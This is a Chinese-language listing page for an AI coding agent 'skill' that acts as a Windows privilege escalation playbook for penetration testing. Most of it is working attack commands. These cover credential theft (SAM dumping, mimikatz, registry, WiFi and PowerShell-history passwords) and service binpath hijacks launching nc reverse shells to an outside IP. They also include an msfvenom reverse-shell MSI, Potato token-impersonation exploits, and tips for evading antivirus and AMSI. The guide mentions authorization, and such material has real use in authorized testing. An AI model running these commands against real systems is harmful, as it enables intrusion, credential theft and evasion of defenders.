关于 Windows Privilege Escalation
面向获授权 Windows 渗透测试的提权方法指南,适用于安全测试人员。内容覆盖系统枚举、凭据收集、服务配置、令牌模拟和内核漏洞,并强调授权与检测风险。
主要功能
- 01系统、用户与网络枚举
- 02凭据和密码搜寻
- 03服务配置漏洞检查
- 04令牌模拟与内核漏洞
- 05常见提权工具参考
- 06操作限制与检测风险说明
适用场景
- 01审查 Windows 主机的提权路径
- 02检查服务权限和未加引号路径
- 03评估凭据存储与令牌权限
- 04记录渗透测试发现并提出修复建议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill windows-privilege-escalation安装后在 Claude Code 中输入/windows-privilege-escalation确认已加载。
详细介绍
Windows 权限提升
目的
在渗透测试过程中,提供系统化的方法,以发现并利用 Windows 系统上的权限提升漏洞。本技能涵盖系统枚举、凭据收集、服务利用、令牌模拟、内核漏洞利用,以及各种可将普通用户权限提升至 Administrator 或 SYSTEM 权限的错误配置。
输入 / 前置条件
- 初始访问:以普通用户身份通过 Shell 或 RDP 访问 Windows 系统
- 枚举工具:WinPEAS、PowerUp、Seatbelt 或手动命令
- 漏洞利用二进制文件:预编译的漏洞利用程序,或能够传输工具
- 知识:了解 Windows 安全模型和权限
- 授权:获得渗透测试活动的书面许可
输出 / 交付成果
- 权限提升路径:已识别的权限提升途径
- 凭据转储:收集到的密码、哈希值或令牌
- 提权 Shell:以 Administrator 或 SYSTEM 身份执行命令
- 漏洞报告:错误配置和漏洞利用的文档
- 修复建议:针对已发现弱点的修复措施
核心工作流
1. 系统枚举
基本系统信息
# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%
# Environment variables
set
Get-ChildItem Env: | ft Key,Value
# List drives
wmic logicaldisk get caption,description,providername
用户枚举
# Current user
whoami
echo %USERNAME%
# User privileges
whoami /priv
whoami /groups
whoami /all
# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon
# User details
net user administrator
net user %USERNAME%
# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
网络枚举
# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
# ARP table
arp -A
# Active connections
netstat -ano
# Network shares
net share
# Domain Controllers
nltest /DCLIST:DomainName
防病毒软件枚举
# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
2. 凭据收集
SAM 和 SYSTEM 文件
# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
# Crack with John
john --format=NT sam.txt
HiveNightmare(CVE-2021-36934)
# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)
# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
搜索密码
# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini
Unattend.xml 凭据
# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
WiFi 密码
# List profiles
netsh wlan show profile
# Get cleartext password
netsh wlan show profile <SSID> key=clear
# Extract all WiFi passwords
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
PowerShell 历史记录
# View PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
3. 服务利用
服务权限配置错误
# Find misconfigured services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>
# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
# Exploit vulnerable service
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>
未加引号的服务路径
# Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Exploit: Place malicious exe in path
# For path: C:\Program Files\Some App\service.exe
# Try: C:\Program.exe or C:\Program Files\Some.exe
AlwaysInstallElevated
# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must return 0x1 for vulnerability
# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msi
4. 令牌模拟
检查模拟权限
# Look for these privileges
whoami /priv
# Exploitable privileges:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege
Potato 攻击
# JuicyPotato (Windows Server 2019 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
# PrintSpoofer (Windows 10 and Server 2019)
PrintSpoofer.exe -i -c cmd
# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
# GodPotato
GodPotato.exe -cmd "cmd /c whoami"
5. 内核漏洞利用
查找内核漏洞
# Use Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt
# Or use Watson (on target)
Watson.exe
# Or use Sherlock PowerShell script
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
常见内核漏洞利用
MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
6. 其他技术
DLL 劫持
# Find missing DLLs with Process Monitor
# Filter: Result = NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
使用已保存凭据运行
# List saved credentials
cmdkey /list
# Use saved credentials
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
利用 WSL
# Check for WSL
wsl whoami
# Set root as default user
wsl --default-user root
# Or: ubuntu.exe config --default-user root
# Spawn shell as root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'
快速参考
枚举工具
| 工具 | 命令 | 用途 |
|---|---|---|
| WinPEAS | winPEAS.exe | 全面枚举 |
| PowerUp | Invoke-AllChecks | 服务 / 路径漏洞检查 |
| Seatbelt | Seatbelt.exe -group=all | 安全审计检查 |
| Watson | Watson.exe | 缺失的补丁 |
| JAWS | .\jaws-enum.ps1 | 旧版 Windows 枚举 |
| PrivescCheck | Invoke-PrivescCheck | 权限提升检查 |
默认可写文件夹
C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
常见权限提升途径
| 途径 | 检查命令 |
|---|---|
| 未加引号的路径 | wmic service get pathname | findstr /i /v """ |
| 服务权限薄弱 | accesschk.exe -uwcqv "Everyone" * |
| AlwaysInstallElevated | reg query HKCU\...\Installer /v AlwaysInstallElevated |
| 存储的凭据 | cmdkey /list |
| 令牌权限 | whoami /priv |
| 计划任务 | schtasks /query /fo LIST /v |
模拟权限漏洞利用
| 权限 | 工具 | 用法 |
|---|---|---|
| SeImpersonatePrivilege | JuicyPotato | 滥用 CLSID |
| SeImpersonatePrivilege | PrintSpoofer | Spooler 服务 |
| SeImpersonatePrivilege | RoguePotato | OXID 解析器 |
| SeBackupPrivilege | robocopy /b | 读取受保护文件 |
| SeRestorePrivilege | Enable-SeRestorePrivilege | 写入受保护文件 |
| SeTakeOwnershipPrivilege | takeown.exe | 获取文件所有权 |
约束与限制
操作边界
- 内核漏洞利用可能导致系统不稳定
- 某些漏洞利用需要特定的 Windows 版本
- AV/EDR 可能会检测并阻止常见工具
- 令牌模拟需要服务帐户上下文
- 某些技术需要 GUI 访问
检测注意事项
- 凭据转储会触发安全警报
- 服务修改会记录在事件日志中
- PowerShell 执行可能会受到监控
- AV 会检测已知漏洞利用特征
法律要求
- 仅测试已获得书面授权的系统
- 记录所有权限提升尝试
- 避免干扰生产系统
- 通过适当渠道报告所有发现
示例
示例 1:利用服务二进制文件路径
# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS
# Check current config
sc qc MyService
# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService
# Catch shell as SYSTEM
示例 2:利用 AlwaysInstallElevated
# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1
# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi
# Catch SYSTEM shell
示例 3:JuicyPotato 令牌模拟
# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled
# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Catch SYSTEM shell
示例 4:未加引号的服务路径
# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe
# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)
# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
# Restart service
sc stop "Vuln App"
sc start "Vuln App"
示例 5:从注册表收集凭据
# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123
# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
故障排除
| 问题 | 原因 | 解决方案 |
|---|---|---|
| 漏洞利用失败(被 AV 检测) | AV 阻止了已知漏洞利用 | 使用混淆的漏洞利用;利用系统自带工具(mshta、certutil);使用自定义编译的二进制文件 |
| 服务无法启动 | 二进制文件路径语法错误 | 确保 binpath 中的 = 后有空格:binpath= "C:\path\binary.exe" |
| 令牌模拟失败 | 权限或版本不正确 | 检查 whoami /priv;确认与 Windows 版本兼容 |
| 找不到内核漏洞利用 | 系统已打补丁 | 运行 Windows Exploit Suggester:python wes.py systeminfo.txt |
| PowerShell 被阻止 | 执行策略或 AMSI | 使用 powershell -ep bypass -c "cmd" 或 -enc <base64> |
评论
支持 Markdown